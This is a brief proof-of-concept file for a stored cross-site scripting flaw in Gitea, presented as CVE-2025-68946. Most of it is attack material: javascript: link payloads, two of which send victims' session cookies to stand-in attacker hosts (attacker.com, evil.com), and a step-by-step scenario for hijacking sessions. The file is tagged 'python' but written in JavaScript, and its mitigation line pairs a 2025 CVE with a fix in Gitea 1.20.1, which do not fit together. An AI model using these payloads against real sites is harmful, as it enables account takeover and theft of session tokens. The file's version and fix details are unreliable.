The following code is for security research and authorized testing only.
python
// CVE-2025-68946 PoC - Gitea XSS via javascript: URL scheme
// This PoC demonstrates how an attacker can inject malicious javascript: links
// Example malicious content that can be submitted to Gitea:
// <a href="javascript:alert(document.cookie)">Click here</a>
// <a href="javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)">Malicious Link</a>
// Attack scenario:
// 1. Attacker creates an issue/PR comment or modifies a file description
// 2. Attacker inserts: <a href="javascript:alert(document.domain)">View Details</a>
// 3. When victim views the page, clicking the link executes the JavaScript
// 4. Attacker can steal cookies, session tokens, or perform actions on behalf of victim
// Example exploit payload for stealing session:
const exploitPayload = `
<a href="javascript:fetch('https://evil.com/log?c='+btoa(document.cookie))">
Interesting commit
</a>
`;
// Mitigation: Gitea 1.20.1+ blocks javascript: and other dangerous URL schemes